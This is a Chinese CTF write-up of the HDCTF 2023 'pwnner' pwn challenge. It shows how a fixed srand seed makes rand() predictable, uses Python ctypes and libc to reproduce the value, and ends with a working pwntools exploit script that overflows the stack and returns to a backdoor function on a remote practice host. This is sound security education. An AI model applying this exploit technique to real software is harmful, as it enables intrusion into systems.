【PWN · ret2text | 伪rand()】[HDCTF 2023]pwnner

伪随机数以及ctypes库的初步接触

目录

前言

一、题目

二、解题思路

三、exp 

总结


前言

一道简单的ret2text,加上一些伪随机的知识,对于本蒟蒻萌新来说,比较新,值得记录。


一、题目

栈溢出保护、PIE保护都没有开。反汇编后重点如下: 

【PWN · ret2text | 伪rand()】[HDCTF 2023]pwnner_第1张图片

【PWN · ret2text | 伪rand()】[HDCTF 2023]pwnner_第2张图片


二、解题思路

既然有后门函数,那就想着ret2text就好啦。然而外部可直接写的buf,无法覆写ret。所以实际可栈溢出利用的部分是V0==rand()时if内部的read。然而随机数我们怎么知道呢?——伪随机

当种子一定时,所产生的随机数序列是确定的。可以说srand后的随机数序列是伪随机数。这也是为什么我们在一般编程的时候,随机数种子一般取当前时刻的原因。

——因此我们只需要复现该随机数种子下的随机数即可。

——然而,因为随机函数多种多样,实现方式也各有差异。因此,如果能调用程序使用的随机函数,就可以完美结局这个问题。

这里,参考大神们的解题方法:python的ctypes库

详细可参考:

Python --- ctypes库的使用_擒贼先擒王的博客-CSDN博客

Python 使用 ctypes 调用 C/C++ DLL 动态链接库_ctypes.cdll___弯弓__的博客-CSDN博客

这里试着调用库libc.so.6,来实现rand函数。此外就是经典的ret2text了


三、exp 

from pwn import *
from pwn import p64
from ctypes import *

context(arch="amd64",os='linux',log_level="debug")

my_libc=cdll.LoadLibrary('libc.so.6')
my_libc.srand(0x39)

io=process('./pwn')
io=remote('node1.anna.nssctf.cn',28206)
io.recvuntil(b'name')
payload=str(my_libc.rand()).encode('utf-8')
io.sendline(payload)
io.recvuntil(b'next?\n')
payload=b'a'*(64+8)+p64(0x40028b)+p64(0x4008b2)
#0x40028b是ret;指令的地址,用于调整栈为16字节对齐,这是调用system函数的要求
#0x4008b2是后门函数的地址
io.send(payload)
io.interactive()


总结

伪随机数以及ctypes库的使用!

你可能感兴趣的:(【PWN,·,ret2text】,ctf,pwn,栈溢出,ret2text,伪随机)